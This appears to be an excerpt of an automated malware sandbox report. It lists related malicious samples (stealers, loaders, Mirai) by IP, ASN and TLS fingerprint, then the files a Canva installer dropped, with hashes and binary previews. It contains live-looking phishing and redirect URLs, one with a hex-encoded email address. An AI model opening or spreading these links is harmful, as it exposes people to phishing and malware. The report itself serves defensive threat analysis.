	https://public-fra.mkt.dynamics.com/api/orgs/85a8c477-bea7-ef11-8a66-0022483994f9/r/MKSqoVs73k-RUO5uHPfRswIAAAA?target=%7B%22TargetUrl%22%3A%22https%253A%252F%252Fassets-fra.mkt.dynamics.com%252F85a8c477-bea7-ef11-8a66-0022483994f9%252Fdigitalassets%252Fstandaloneforms%252F46042089-b8ac-ef11-a72d-6045bd6e29e8%22%2C%22RedirectOptions%22%3A%7B%226%22%3A%22mktprf9fb729cc84d74db3bce9a30da7409e87eoprf%22%2C%221%22%3Anull%7D%7D&digest=juexwq7Jl6DCR7CneIIynCjAtNPRJ1FxLmm99rnbDLA%3D&secretVersion=02e7c83d621d4269af2f08a8e4e233cf	Get hash	malicious	Unknown	Browse	13.107.246.63
	https://www.google.rs/url?q=160CHARtTPSJ3J3wDyycT&sa=t&esrc=TYsrCFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=HARlDJVS0YXpPkDfJ6C&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp/aloperdehatti.com/on/wTARVgfa92/%61%6C%65%73%73%69%61%2E%64%61%6E%69%65%6C%65%40%74%6F%6E%69%6E%63%61%73%61%2E%69%74&ugs=n8CoFFz5hZ4Yaxn3ZJryvKlaQxQ-BOyvjZ0GlahI9shjnWfTZ1du_w==	Get hash	malicious	Unknown	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	13.107.246.63
	file.exe	Get hash	malicious	Credential Flusher	Browse	13.107.246.63
	chutmarao.ps1	Get hash	malicious	RHADAMANTHYS	Browse	13.107.246.63
	invoice-1664809283.pdf (1).js	Get hash	malicious	RHADAMANTHYS	Browse	13.107.246.63
	invoice-1664809283.pdf .js	Get hash	malicious	RHADAMANTHYS	Browse	13.107.246.63
	hotel11-27.ps1	Get hash	malicious	RHADAMANTHYS	Browse	13.107.246.63

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MEDIALAND-ASRU	SecuriteInfo.com.Win32.Malware-gen.6717.12233.exe	Get hash	malicious	RedLine, SectopRAT	Browse	45.141.86.82
	ExeFile (236).exe	Get hash	malicious	Oski	Browse	45.141.84.184
	bLNr5K5U7B.elf	Get hash	malicious	Mirai	Browse	45.141.84.241
	aqua.arm7	Get hash	malicious	Mirai	Browse	45.141.84.246
	5xPf2c2uL7.exe	Get hash	malicious	RedLine SmokeLoader	Browse	45.141.84.21
	VsaIxu42Ks.exe	Get hash	malicious	Raccoon RedLine SmokeLoader	Browse	45.141.84.21
	16vbR3UTik.exe	Get hash	malicious	Raccoon RedLine SmokeLoader	Browse	45.141.84.21
	VJHkHNoW68.exe	Get hash	malicious	Raccoon RedLine SmokeLoader	Browse	45.141.84.21
	SF45gO3Bc8.exe	Get hash	malicious	Raccoon RedLine SmokeLoader	Browse	45.141.84.21

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	Scan_6090402.pdf	Get hash	malicious	Unknown	Browse	13.107.246.63
	https://public-fra.mkt.dynamics.com/api/orgs/85a8c477-bea7-ef11-8a66-0022483994f9/r/MKSqoVs73k-RUO5uHPfRswIAAAA?target=%7B%22TargetUrl%22%3A%22https%253A%252F%252Fassets-fra.mkt.dynamics.com%252F85a8c477-bea7-ef11-8a66-0022483994f9%252Fdigitalassets%252Fstandaloneforms%252F46042089-b8ac-ef11-a72d-6045bd6e29e8%22%2C%22RedirectOptions%22%3A%7B%226%22%3A%22mktprf9fb729cc84d74db3bce9a30da7409e87eoprf%22%2C%221%22%3Anull%7D%7D&digest=juexwq7Jl6DCR7CneIIynCjAtNPRJ1FxLmm99rnbDLA%3D&secretVersion=02e7c83d621d4269af2f08a8e4e233cf	Get hash	malicious	Unknown	Browse	13.107.246.63
	https://www.google.rs/url?q=160CHARtTPSJ3J3wDyycT&sa=t&esrc=TYsrCFgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=HARlDJVS0YXpPkDfJ6C&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp/aloperdehatti.com/on/wTARVgfa92/%61%6C%65%73%73%69%61%2E%64%61%6E%69%65%6C%65%40%74%6F%6E%69%6E%63%61%73%61%2E%69%74&ugs=n8CoFFz5hZ4Yaxn3ZJryvKlaQxQ-BOyvjZ0GlahI9shjnWfTZ1du_w==	Get hash	malicious	Unknown	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	13.107.246.63
	https://hcm55.sapsf.eu/sf/liveprofile?company=jernimomarP2&blockId=block2109&_s.crb=USKEprAmKRumsjVSyLJPCEVj9GAzHD70l0UaoJsp%252f50%253d	Get hash	malicious	Unknown	Browse	13.107.246.63
	chutmarao.ps1	Get hash	malicious	RHADAMANTHYS	Browse	13.107.246.63
	invoice-1664809283.pdf (1).js	Get hash	malicious	RHADAMANTHYS	Browse	13.107.246.63
	invoice-1664809283.pdf .js	Get hash	malicious	RHADAMANTHYS	Browse	13.107.246.63
	hotel11-27.ps1	Get hash	malicious	RHADAMANTHYS	Browse	13.107.246.63

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Program Files (x86)\Canva\d3dcompiler_47.dll (copy)	ivySCI-5.6.3.exe	Get hash	malicious	Unknown	Browse
	ivySCI-5.6.3.exe	Get hash	malicious	Unknown	Browse
	MayitaV16.exe	Get hash	malicious	Unknown	Browse
	Xa04iTOvv5.exe	Get hash	malicious	Unknown	Browse
	Setup.exe	Get hash	malicious	Unknown	Browse
	ArenaWarsSetup.exe	Get hash	malicious	Unknown	Browse
	ArenaWarsSetup.exe	Get hash	malicious	Unknown	Browse
	Launcher 1.0.0.exe	Get hash	malicious	Unknown	Browse
	Launcher 1.0.0.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\Program Files (x86)\Canva\Canva.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	176670344
Entropy (8bit):	6.752951259704491
Encrypted:	false
SSDEEP:	1572864:XgRMg/aKxl4b7qCDQtjovZT78wLF2pArKgDz6ObiISXD+Dyj3eRalD2kGpTe/2Hh:ng/geeFXzGa9cz
MD5:	762DF055F5A0FCDE30E96F0D6B84D6F0
SHA1:	9F669E5FCA1AE9C2EFD505FCD80D1948B2BB79F8
SHA-256:	8C2D451098E847FA5498E3BFFC8DDF93CDBC150355A7B6568E0984568EED4FAA
SHA-512:	68107C096A6E18C0DEB68CCDB2513F47038CC618313F4E9A858DC8367D372B3EAA81973AE00385DD1E5DC542EACEC4FE695847C47E85C571E9D8AEE06E8E646D
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......f.........."......4.....................@.............................`.......{....`.........................................G....j..4...T....0..<W...pe...F..n...X......................................(...@o..@.......................`....................text...U2.......4.................. ..`.rdata.......P.......8..............@..@.data.....D..p ......P .............@....pdata....F..pe...F...).............@..@.gxfg....A...P...B....p.............@..@.retplne............. q..................rodata.............."q............. ..`.tls....i...........4q.............@...CPADinfo8...........:q.............@...LZMADEC.............<q............. ..`_RDATA..\............Nq.............@..@malloc_h..... .......Pq............. ..`.rsrc...<W...0...X...Rq.............@..@.reloc................x.............@..B........................................................

C:\Program Files (x86)\Canva\LICENSE.electron.txt (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	ASCII text
Category:	dropped
Size (bytes):	1096
Entropy (8bit):	5.13006727705212
Encrypted:	false
SSDEEP:	24:36DiJHxRHuyPP3GtIHw1Gg9QH+sUW8Ok4F+d1o36qjFD:36DiJzfPvGt7ICQH+sfIte36AFD
MD5:	4D42118D35941E0F664DDDBD83F633C5
SHA1:	2B21EC5F20FE961D15F2B58EFB1368E66D202E5C
SHA-256:	5154E165BD6C2CC0CFBCD8916498C7ABAB0497923BAFCD5CB07673FE8480087D
SHA-512:	3FFBBA2E4CD689F362378F6B0F6060571F57E228D3755BDD308283BE6CBBEF8C2E84BEB5FCF73E0C3C81CD944D01EE3FCF141733C4D8B3B0162E543E0B9F3E63
Malicious:	false
Preview:	Copyright (c) Electron contributors.Copyright (c) 2013-2020 GitHub Inc...Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the."Software"), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND.NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE.LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION.OF CONTRACT, TORT OR OTHERWISE, ARISIN

C:\Program Files (x86)\Canva\LICENSES.chromium.html (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	9174266
Entropy (8bit):	4.780443521000387
Encrypted:	false
SSDEEP:	24576:KPQQ/6MP6P5d1n+wRcXe1Lmfpm6k626D6b6+eGnkywBIpv:Cy8OeG8k
MD5:	BD0CED1BC275F592B03BAFAC4B301A93
SHA1:	68776B7D9139588C71FBC51FE15243C9835ACB67
SHA-256:	AD35E72893910D6F6ED20F4916457417AF05B94AB5204C435C35F66A058D156B
SHA-512:	5052AE32DAE0705CC29EA170BCC5210B48E4AF91D4ECEC380CB4A57CE1C56BC1D834FC2D96E2A0F5F640FCAC8CAFE4A4FDD0542F26CA430D76AA8B9212BA77AA
Malicious:	false
Preview:	Generated by licenses.py; do not edit. --><!doctype html>.<html>.<head>.<meta charset="utf-8">.<meta name="viewport" content="width=device-width">.<meta name="color-scheme" content="light dark">.<title>Credits</title>.<link rel="stylesheet" href="chrome://resources/css/text_defaults.css">.<link rel="stylesheet" href="chrome://credits/credits.css">.</head>.<body>.<span class="page-title">Credits</span>.<a id="print-link" href="#" hidden>Print</a>.<label class="show show-all" tabindex="0">.<input type="checkbox" hidden>.</label>.<div class="open-sourced">. Chromium software is made available as source code. <a href="https://source.chromium.org/chromium">here</a>..</div>..<div style="clear:both; overflow:auto;"> Chromium <3s the following projects -->.<div class="product">.<span class="title">2-dim General Purpose FFT (Fast Fourier/Cosine/Sine Transform) Package</span>.<span class="homepage"><a href="http://www.kurims.kyoto-u.ac.jp/~ooura/fft.html">homepage</a></span>.<labe

C:\Program Files (x86)\Canva\Uninstall Canva.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	567600
Entropy (8bit):	6.625079942815177
Encrypted:	false
SSDEEP:	6144:X740IlcheFHGEsKisWsssHY698kbbsh4Ey+hX2MVhcjmvlEsfwWssssPjb2fh7NR:LY1F6imvJU0Zktg781CNXISRKJ5C2
MD5:	05AD20B974827EFE0DB94F157AFFFC63
SHA1:	728BDF6D8E493CF856004D03A318D7E2563FC4FB
SHA-256:	5121EF37775EC7AE72FA466AC1ED7CA1282A34CBB1C611A77EAD15D2383B7C20
SHA-512:	8BD40CC9F2D45115A58DD5A15A058E9444CC21D9EBDBAFA9196634FDFD94141738E6EF46CEBAFFF1490F5E4A961B893431AC30061BD60E764894E4B8A9A65133
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf._9..Pf..Pg.LPf._;..Pf.sV..Pf..V`..Pf.Rich.Pf.........................PE..L......\.................h...8...@...3............@.................................`0....@..........................................0...............P...X...........................................................................................text...'f.......h.................. ..`.rdata...............l..............@..@.data...............................@....ndata...................................rsrc........0......................@..@................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Canva\chrome_100_percent.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	154426
Entropy (8bit):	7.915623092881329
Encrypted:	false
SSDEEP:	3072:AzwJCGIekwENgMBsFAXg6VKdL2o418Gb0+VRLf0ld0GY3cQ3ERVm2I:Azw1IekmMBdQXK18Gb0OV8ld0GecQ3Ey
MD5:	B1BCCF31FA5710207026D373EDD96161
SHA1:	AE7BB0C083AEA838DF1D78D61B54FB76C9A1182E
SHA-256:	49AFF5690CB9B0F54F831351AA0F64416BA180A0C4891A859FA7294E81E9C8E3
SHA-512:	134A13AD86F8BD20A1D2350236269FD39C306389A600556A82025D5E0D5ADAAB0709D59E9B7EE96E8E2D25B6DF49FEFEA27CDCCEFE5FBA9687ABF92A9A941D91
Malicious:	false
Preview:	..........?.........C.......................m.......................^.....X.................q".....$....1/.....9.....<.....A....^D.....F.....H....FK....6M....fO.....S.....V..(..Z..)..[..+..\..-..^....._..5.k`..6..f..8..l..9..n..:..q..;..u..<..x..=..{..>.A...?.....@.h...A.....B.....C.....D.....F....e.....j.[...k.Y...l.....m.....n.....o....p.&...q.U...r....................................................R.........B........................@....."....,.../...1....:....<....@...>E...NP....Q...3Z....a....mf.....k.....r....it.....x.....\|....a......................]................c.................................................................^...........b...........t...........=.....k... .....".^...#.....(.^...*.3...+.....,.....D.....E.....F.~...G.....H.....I.Y...J.-...K.....L.....M.....N.1...O.....P.....Q.....R.....S.....T..!..U..'..W.\-..X.8...Y.....Z../..[..0..\.J1..]..1..^.53.._.+4..`. 5..c..9..D..=..E.>>..F..>..G..>..H..?..I..@..J..A..K..A..L..B..M.qB..N..B

C:\Program Files (x86)\Canva\chrome_200_percent.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	235060
Entropy (8bit):	7.947114238566176
Encrypted:	false
SSDEEP:	6144:gDQYaSN6svydrI8jDQUgx5GMRejnbdZnVE6YoppO4:NfSN6svydZ6edhVELoXO4
MD5:	E02160C24B8077B36FF06DC05A9DF057
SHA1:	FC722E071CE9CAF52AD9A463C90FC2319AA6C790
SHA-256:	4D5B51F720F7D3146E131C54A6F75E4E826C61B2FF15C8955F6D6DD15BEDF106
SHA-512:	1BF873B89B571974537B685CDB739F8ED148F710F6F24F0F362F8B6BB605996FCFEC1501411F2CB2DF374D5FDAF6E2DAAADA8CEA68051E3C10A67030EA25929E
Malicious:	false
Preview:	..........?.........J..........................................%..........-....\5.....9.....A.....E....IZ.....o....(t.....~.........s...........e...........L.....p.....y...(.3...).....+.....-..........5.....6.1...8.....9.=...:.....;.....<.t...=.$...>.....?.....@.....A.....B.....C.(...D..%..F..)..e.?1..j..6..k./9..l..<..m..J..n.WN..o.\|Z..p..f..q..k..r..l.....m.....q.....t.....w.....z....'~....D........................J..............#.............a....&...................V............c........".....'....n-....P4.....6.....:.....>....6H....bK.....S.....W....ba.....k.....o.....q....cz......................................5...........p.....G..................................%....."... .@...".Y...#.....(.K....\|...+.r...,.R...D.5...E.c...F.}...G.....H.\...I.....J.b...K.....L.f...M.....N.w...O.9 ..P.'%..Q..-..R..4..S..;..T..A..U..F..W..L..X..M..Y..N..Z..P..[.)Q..\.JR..].>S..^..U.._..V..`.pX..c.4e..D..u..E..u..F..u..G.Kv..H..v..I.,x..J..y..K.[y..L..y..M..z..N.mz

C:\Program Files (x86)\Canva\d3dcompiler_47.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	4916712
Entropy (8bit):	6.398049523846958
Encrypted:	false
SSDEEP:	49152:KCZnRO4XyM53Rkq4ypQqdoRpmruVNYvkaRwvhiD0N+YEzI4og/RfzHLeHTRhFRNc:xG2QCwmHPnog/pzHAo/A6l
MD5:	2191E768CC2E19009DAD20DC999135A3
SHA1:	F49A46BA0E954E657AAED1C9019A53D194272B6A
SHA-256:	7353F25DC5CF84D09894E3E0461CEF0E56799ADBC617FCE37620CA67240B547D
SHA-512:	5ADCB00162F284C16EC78016D301FC11559DD0A781FFBEFF822DB22EFBED168B11D7E5586EA82388E9503B0C7D3740CF2A08E243877F5319202491C8A641C970
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: ivySCI-5.6.3.exe, Detection: malicious, Browse Filename: ivySCI-5.6.3.exe, Detection: malicious, Browse Filename: MayitaV16.exe, Detection: malicious, Browse Filename: Xa04iTOvv5.exe, Detection: malicious, Browse Filename: Setup.exe, Detection: malicious, Browse Filename: ArenaWarsSetup.exe, Detection: malicious, Browse Filename: ArenaWarsSetup.exe, Detection: malicious, Browse Filename: Launcher 1.0.0.exe, Detection: malicious, Browse Filename: Launcher 1.0.0.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........\|3..]...]...]..e\...]...\.5.]..e...]..wX...]..wY...]..e^...]..eX.y.]..eY...]..e]...]..eU./.]..e....]..e_...].Rich..].................PE..d...^.}`.........." ......8..........<).......................................K.....:FK...`A........................................`%G.x....(G.P.....J.@.....H.......J..%....J.....p.D.p....................S<.(...pR<.@............S<.(............................text.....8.......8................. ..`.rdata...F....8..P....8.............@..@.data...`....@G......@G.............@....pdata........H......@H.............@..@.rsrc...@.....J......@J.............@..@.reloc........J......PJ.............@..B........................................................................................................................................................................................................................................

C:\Program Files (x86)\Canva\ffmpeg.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2866176
Entropy (8bit):	6.71639664914218
Encrypted:	false
SSDEEP:	49152:G9T1onpO0KVy2xq6To8i4BZy7+niuoen6yfzv9x0WFJDI:upKNMo8rBYinp/FFJM
MD5:	8F3D89744AE11B0925FAF4B64890D0D7
SHA1:	6A8F744BE1F76E9AD28287D969D8D24F5F1E7623
SHA-256:	11DAF2BF89A3AC660533B3E487E0624668B35F45D2BD94E9B0324BCE8758DE60
SHA-512:	250C06E70276C08D3D8A63744AF6C570B6288E1D8FED8DEED915C79BF0A80C3CD0A7E64C55A16FCBC50CCBCBC9910B26F87983CEEEA8ED28A75C1B8EC22DB53F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......f.........." ......".........0.........................................u...........`A..........................................).......).(.............t.4.............u.,4..<.)..................... .).(...P.".@...........(.).P............................text...U."......."................. ..`.rdata.......".......".............@..@.data.....I....."...~.............@....pdata..4.....t.......*.............@..@.gxfg....,...@u......R+.............@..@.retplne.....pu.......+..................tls..........u.......+.............@..._RDATA..\.....u.......+.............@..@.reloc..,4....u..6....+.............@..B................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Canva\icudtl.dat (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	10717680
Entropy (8bit):	6.282426578921538
Encrypted:	false
SSDEEP:	196608:WgPBhORiuQwCliXUxbblHa93Whli6Z26wO+:W8wkDliXUxbblHa93Whli6ZUF
MD5:	74BDED81CE10A426DF54DA39CFA132FF
SHA1:	EB26BCC7D24BE42BD8CFBDED53BD62D605989BBF
SHA-256:	7BF96C193BEFBF23514401F8F6568076450ADE52DD1595B85E4DFCF3DE5F6FB9
SHA-512:	BD7B7B52D31803B2D4B1FD8CB76481931ED8ABB98D779B893D3965231177BDD33386461E1A820B384712013904DA094E3CD15EE24A679DDC766132677A8BE54A
Malicious:	false
Preview:	...'........CmnD........ Copyright (C) 2016 and later: Unicode, Inc. and others. License & terms of use: http://www.unicode.org/copyright.html ......E.......E.......E..P/...E.../...E..P7...E...7...E...h...F...h.. F..Pi..0F......DF.....WF.....jF..P...}F.......F..`....F.......F.. ....F.......F..0....F.......G......G......(G.....;G..@...NG......aG.....tG.......G.......G..@....G.......G.......G.......G..P....G.......H.......H..P...2H......EH..`...UH......hH......yH..P....H.......H.......H..`....H.......H.......H..P....I.......I......-I..@...=I......PI......aI..@...uI.......I...0...I.. 1...I..p1...I...e...I...e...I...i...I..`i...J...i..)J...K..BJ..p...^J..."'.uJ..P.'..J....'..J...5'..J..06'..J...>'..J..P?'..K...D'..K...F'.0K...H'.IK...V'.hK....(..K....(..K..P.)..K....)..K..pW..K..P...L...*+.?L..p.+.bL....+..L...U,..L....,..L....,..L....,..L..@.,..M....,.-M..P.-.IM.. e-.`M...e-.~M...R/..M.../..M..0.0..M..@.0..M..P.0..M....0..N....0.!N...,0.9N...,0.NN..0-0.fN...-0.vN...Y0..N...Z0..N..

C:\Program Files (x86)\Canva\is-0CQ4A.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	306214
Entropy (8bit):	4.392850925698206
Encrypted:	false
SSDEEP:	3072:ogusbBDoCIdRSt25iD1Z3yAcCLi9wfuwWMvDdkbMzaQ:ogus9oCM9OUYffnWYWbIF
MD5:	AEDD1B80A8140B94C00DB3C0B9485772
SHA1:	2DC8444E599438ED37A31EBFE7F8859AF7FAC631
SHA-256:	C1DA41052ABE31791AE90A9DBE54442A641E1ECBB018EF35C44E7AED05B8F72E
SHA-512:	3E06CB550F46285D8DC81D1F082732C07E9C9D81ABE931E859262C7BA699D4EB9737581F5A5C5174E09BB0FC0561A9DE46298714CED38F453F922F9536C67D0C
Malicious:	false
Preview:	...............12.2.281.27-electron.0..........................................8L..N...........$....K..a........a........a2.......ar.......a2.......aT.........."..............B..............b........."..............B........(Jb....L.....@..F^.-..1.`.....(Jb...2P.....@..F^..`.....H...IDa........Db............D`.....).D`.....D]D....D`......WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa............L.........................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Canva\is-21DIH.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	679161
Entropy (8bit):	5.217457437935302
Encrypted:	false
SSDEEP:	6144:m/h8ML2Zu/Bg90Ws9oCM9Otxh6vtDINPbIgTtLAkW/cB2Z0JZkQXEzBO+lZ:myMSZu/Bg90BuCzIP/+2ZGZazJlZ
MD5:	0C259ECBB12E6F3F0E076E6200221489
SHA1:	3DE53DCAFDCE24C151DD1812769B46ACEA77C90C
SHA-256:	83A8345EA197020E07FE2CF53E74F31D0CC632CA1537F5C9C1DB2FB2665AB04F
SHA-512:	6EF39EE8B7D40C5E6C0E79F8C4E846D431A6A87711D025122E2E7F060C5754FFF917771D5EDE6ADEC3BE909FB5CE0E8EB1DF5E18142ECDB6339BDDE8CE2C8398
Malicious:	false
Preview:	........a. ..?h12.2.281.27-electron.0..................................................................$...x...a........a........a........ar.......a2.......aT.........."..............B..............b........."..............B........(Jb....L.....@..F^.-..1.`.....(Jb...2P.....@..F^..`.....H...IDa........Db............D`.....).D`.....D]D....D`......WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa............L.................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Canva\is-4595K.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	MS Windows icon resource - 16 icons, 256x256 with PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced, 32 bits/pixel, -64x-64, 32 bits/pixel
Category:	dropped
Size (bytes):	418858
Entropy (8bit):	6.134356329318626
Encrypted:	false
SSDEEP:	6144:UhWzbZ9cheFHGEsKisWsssHY698kbbsh4Ey+hX2MVhcjmvlEsfwWssssPjb2fh7f:hZ91F6imvJU3tg781CU
MD5:	06EC08FB855CE8FBCB146F5E0B9007C1
SHA1:	DB31FDC1632FC86CA37717435640D6FD8C9BEDF2
SHA-256:	01B606DA42E3DE189D6DD4F86F22C146C7CC9B5C66270FA2BB68B74EE0B8FFB2
SHA-512:	6907857F6423AD41445978E617C3169E75A934C94463C8BFD56E438B5B378DB904F0A4FC13E37B6A7FAD48C80D5EFAD2147151E589B2C3F398EADE6634A0F330
Malicious:	false
Preview:	............ ............... .(R............ .(.......``.... .........PP.... ..g......HH.... ..T......@@.... .(B.."^..<<.... .H:..J...00.... ..%......((.... .h...:...$$.... ......... .... .....0........ ......@........ ......O........ ......Y........ .h...._...PNG........IHDR.............\r.f....IDATx...y..WU&.?.ukHj..9...Q.s...HS. -..VZ....b7v.=......U@..m[.?..mK..Z.+..$@.cB.S.TR....5......^k?k.}.=.TFj.S..w.{\..^{o....N.w....\|.n...O.)..lH".. H....o.#.w....\dWB.$..v..w.>..F".fdf.(a..Y.Zx.%.....L.<.#..i.T.\|s.c.t.!A6...E0.L<)I.Rf.I...R+_. .I.u.K...])....}.../..Gz.N...I..hK.w...........".\|.fL..S..i...K.q.#.....T.+.v..cgB..Kw......s..'..)....t.cn.......^..6./.s6........\mB[...R.B..7U..>}$.....<....z....9....w.....z.Wu...N/.q7*..i....]...C.>........Ufl..;.dg:.?_9.u'...N...#m.1.u.7H....f.s....()...S%'.RxPk...r.x.%2..{.?...B]..s..I....G...$:x..I..P..;..B [...f.........8Ii..\P.L`xWgK.90... ....Hj./P~......p.h..~R.<4..8.I5=p..-......Z3'..<.i......$~ih.JV,.'

C:\Program Files (x86)\Canva\is-539HP.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	9174266
Entropy (8bit):	4.780443521000387
Encrypted:	false
SSDEEP:	24576:KPQQ/6MP6P5d1n+wRcXe1Lmfpm6k626D6b6+eGnkywBIpv:Cy8OeG8k
MD5:	BD0CED1BC275F592B03BAFAC4B301A93
SHA1:	68776B7D9139588C71FBC51FE15243C9835ACB67
SHA-256:	AD35E72893910D6F6ED20F4916457417AF05B94AB5204C435C35F66A058D156B
SHA-512:	5052AE32DAE0705CC29EA170BCC5210B48E4AF91D4ECEC380CB4A57CE1C56BC1D834FC2D96E2A0F5F640FCAC8CAFE4A4FDD0542F26CA430D76AA8B9212BA77AA
Malicious:	false
Preview:	Generated by licenses.py; do not edit. --><!doctype html>.<html>.<head>.<meta charset="utf-8">.<meta name="viewport" content="width=device-width">.<meta name="color-scheme" content="light dark">.<title>Credits</title>.<link rel="stylesheet" href="chrome://resources/css/text_defaults.css">.<link rel="stylesheet" href="chrome://credits/credits.css">.</head>.<body>.<span class="page-title">Credits</span>.<a id="print-link" href="#" hidden>Print</a>.<label class="show show-all" tabindex="0">.<input type="checkbox" hidden>.</label>.<div class="open-sourced">. Chromium software is made available as source code. <a href="https://source.chromium.org/chromium">here</a>..</div>..<div style="clear:both; overflow:auto;"> Chromium <3s the following projects -->.<div class="product">.<span class="title">2-dim General Purpose FFT (Fast Fourier/Cosine/Sine Transform) Package</span>.<span class="homepage"><a href="http://www.kurims.kyoto-u.ac.jp/~ooura/fft.html">homepage</a></span>.<labe

C:\Program Files (x86)\Canva\is-B2DEV.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	567600
Entropy (8bit):	6.625079942815177
Encrypted:	false
SSDEEP:	6144:X740IlcheFHGEsKisWsssHY698kbbsh4Ey+hX2MVhcjmvlEsfwWssssPjb2fh7NR:LY1F6imvJU0Zktg781CNXISRKJ5C2
MD5:	05AD20B974827EFE0DB94F157AFFFC63
SHA1:	728BDF6D8E493CF856004D03A318D7E2563FC4FB
SHA-256:	5121EF37775EC7AE72FA466AC1ED7CA1282A34CBB1C611A77EAD15D2383B7C20
SHA-512:	8BD40CC9F2D45115A58DD5A15A058E9444CC21D9EBDBAFA9196634FDFD94141738E6EF46CEBAFFF1490F5E4A961B893431AC30061BD60E764894E4B8A9A65133
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf._9..Pf..Pg.LPf._;..Pf.sV..Pf..V`..Pf.Rich.Pf.........................PE..L......\.................h...8...@...3............@.................................`0....@..........................................0...............P...X...........................................................................................text...'f.......h.................. ..`.rdata...............l..............@..@.data...............................@....ndata...................................rsrc........0......................@..@................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Canva\is-C6Q3Q.tmp

Download File

